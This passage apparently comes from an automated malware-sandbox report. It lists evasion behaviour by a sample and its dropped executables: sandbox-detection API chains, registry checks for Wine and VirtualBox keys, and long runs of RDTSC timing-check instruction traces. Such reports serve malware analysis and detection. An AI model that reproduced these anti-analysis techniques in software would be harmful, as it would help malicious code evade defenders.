Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found API chain indicative of sandbox detection
Source: C:\Users\user\Desktop\random.exe Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF8957 second address: BF895B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BF82E7 second address: BF82EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB61A second address: BFB67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D5AF3h], eax 0x00000011 mov si, 58F9h 0x00000015 push 00000000h 0x00000017 xor dword ptr [ebp+122D3192h], eax 0x0000001d push 4BA1BDF8h 0x00000022 jns 00007FEC30B390D2h 0x00000028 xor dword ptr [esp], 4BA1BD78h 0x0000002f mov ecx, dword ptr [ebp+122D2E33h] 0x00000035 push 00000003h 0x00000037 add ecx, 3FCE3BEAh 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D2A6Ch], edi 0x00000045 push 00000003h 0x00000047 push ACE995C6h 0x0000004c jc 00007FEC30B390D0h 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB67C second address: BFB6A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 6CE995C6h 0x0000000d mov dword ptr [ebp+122D368Ch], eax 0x00000013 lea ebx, dword ptr [ebp+1244C470h] 0x00000019 mov edi, 289A3A4Ch 0x0000001e add edx, dword ptr [ebp+122D2D0Bh] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pushad 0x00000029 popad 0x0000002a pop ecx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB702 second address: BFB706 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB887 second address: BFB88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB88B second address: BFB88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BFB92E second address: BFB933 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C0CB4D second address: C0CB56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C0CB56 second address: C0CB82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4E8h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007FEC30BFF4D8h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C0CB82 second address: C0CB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C538 second address: C1C53D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C53D second address: C1C55A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEC30B390D4h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C55A second address: C1C55E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C55E second address: C1C564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C564 second address: C1C571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C571 second address: C1C57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C57C second address: C1C582 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C582 second address: C1C588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A5CA second address: C1A5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 jmp 00007FEC30BFF4DFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A5E4 second address: C1A5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A5E8 second address: C1A5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A74A second address: C1A74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A74E second address: C1A786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEC30BFF4E8h 0x0000000c jmp 00007FEC30BFF4E7h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A8B1 second address: C1A8B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A8B5 second address: C1A8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4E8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A8D7 second address: C1A8DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1A8DD second address: C1A8E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1AB54 second address: C1AB59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1AB59 second address: C1AB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jnc 00007FEC30BFF4E2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1AFBC second address: C1AFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEC30B390CBh 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1AFD3 second address: C1AFFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4E6h 0x00000007 jmp 00007FEC30BFF4DEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1AFFB second address: C1B001 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B173 second address: C1B17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B17D second address: C1B181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B181 second address: C1B18D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FEC30BFF4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B18D second address: C1B19C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC30B390CBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B19C second address: C1B1A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1B1A0 second address: C1B1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEC30B390D0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1BD54 second address: C1BD63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FEC30BFF4D6h 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C14E second address: C1C153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C153 second address: C1C15F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jno 00007FEC30BFF4D6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C15F second address: C1C163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C409 second address: C1C40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C40D second address: C1C413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C413 second address: C1C419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1C419 second address: C1C41D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C1DA49 second address: C1DA59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC30BFF4DBh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BE7779 second address: BE7786 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEC30B390C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: BE7786 second address: BE778F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C20D72 second address: C20D80 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEC30B390C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C20D80 second address: C20D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C21262 second address: C21267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C21267 second address: C2126D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2126D second address: C2128E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a jne 00007FEC30B390C8h 0x00000010 pop edi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 je 00007FEC30B390D4h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C213AE second address: C213C3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC30BFF4D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C213C3 second address: C213FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FEC30B390D8h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jmp 00007FEC30B390CEh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C25C68 second address: C25C73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C25C73 second address: C25C77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C26219 second address: C2621E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2621E second address: C26224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C26224 second address: C26251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEC30BFF4D6h 0x0000000a jbe 00007FEC30BFF4D6h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 jmp 00007FEC30BFF4E5h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C26251 second address: C26255 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C263A0 second address: C263BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC30BFF4DCh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007FEC30BFF4D6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C263BD second address: C263C7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEC30B390CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C28211 second address: C28216 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C282AE second address: C282B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C28426 second address: C2842C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2885A second address: C28864 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FEC30B390C6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C28EC2 second address: C28EE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEC30BFF4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007FEC30BFF4DCh 0x00000011 xchg eax, ebx 0x00000012 nop 0x00000013 jc 00007FEC30BFF4DEh 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C28EE5 second address: C28F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push esi 0x00000007 pushad 0x00000008 jmp 00007FEC30B390D1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C294FB second address: C294FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C29997 second address: C2999B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempB86OESU4AFVDFKW2E4COIQRCYGBWEQMI.EXE RDTSC instruction interceptor: First address: C2999B second address: C2999F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
